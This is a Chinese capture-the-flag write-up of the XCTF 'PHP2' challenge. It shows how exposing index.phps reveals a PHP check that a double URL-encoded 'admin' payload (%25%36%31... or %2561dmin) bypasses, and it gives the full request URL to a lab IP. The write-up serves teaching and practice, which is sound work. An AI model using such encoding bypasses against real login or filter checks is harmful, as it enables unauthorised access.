XCTF-高手进阶区:PHP2

XCTF-高手进阶区:PHP2

在这里插入图片描述

目标:

Writeup

(1)首先我们用dirsearch.py进行网站目录搜索

在这里插入图片描述


(2)我们发现有个index.php,我们访问一下,没有结果...

那么我们看看能否看看该网页php地源码,这里用到了.phps

.phps后缀释义:
phps文件就是php的源代码文件。
通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替

(3)于是我们访问index.phps,看到下图所示:

在这里插入图片描述


(4)好的,接下来我们来分析可以获得key值即flag值的核心源码
  • 第一步:观察源码
not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!
"; echo "

Key: xxxxxxx
"; } ?> Can you anthenticate to this website? 
  • 第二步:我们需构造id=admin,浏览自动对id值进行一次解码,结果还是admin
$_GET[id]=urldecode(admin);//这里的admin是浏览器对id值自动进行一次解码后的值
if("admin"=="admin")$_GET[id]="admin";
if("admin"=="admin")//true

这样就OK了,我们来测试一下:
在这里插入图片描述
嗯?这是为什么呢?难道后端代码对admin字符进行了过滤?不让传admin字符?

ctrl+U看到完整php代码是:
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

先尝试了0==admin返回true,但是失败了,看来可能只能admin==admin才能输出flag?,但又要不满足"admin"===$_GET[id],该如何?

行吧,那我们尝试一下对admin进行url编码吧
  • 第三步:再次构造payload
    注意:浏览器在上传数据时,会对参数值进行一次解码(与php代码无关,是浏览器自身会解码一次)
    admin第一次url编码:%61%64%6D%69%6E
我们url传参时:
$_GET[id]=urldecode(admin);//这里的admin是浏览器对id值自动进行一次解码后的值
if($_GET[id]=="admin")$_GET[id]="admin";
if("admin" == "admin")//true

由上面分析的代码可以知道,%61%64%6D%69%6E经过浏览器的一次自动解码,变成admin,之后又当作id的值传入代码中,经过urldecode,admin还是admin,服务器后端依旧会过滤admin

  • 第四步:因此,我们需要二次编码,浏览自动对id值进行一次解码,结果id在传输过程中变为id=%61%64%6D%69%6E
    admin二次编码值:%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
$_GET[id]=urldecode(%61%64%6D%69%6E);//这里的%61%64%6D%69%6E是浏览器对id值自动进行一次解码后的值
if($_GET[id]=="admin")$_GET[id]="admin";//这里的admin是php代码中urldecode函数对%61%64%6D%69%6E进行解码的结果
if("admin" == "admin")//true

这样,%61%64%6D%69%6E就不会被过滤了


(6)最后:我们访问

http://111.198.29.45:41202/?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45

注:下图中原本是输入的%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45,因为浏览器自动一次解码变成了%61%64%6D%69%6E
在这里插入图片描述
注:此题%2561dmin也可以,一次解码后为%61,二次解码后为a。
%2561=%25%36%31,也可以看出,解码只会解%后面的两位数,其它数值没有%不解码

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值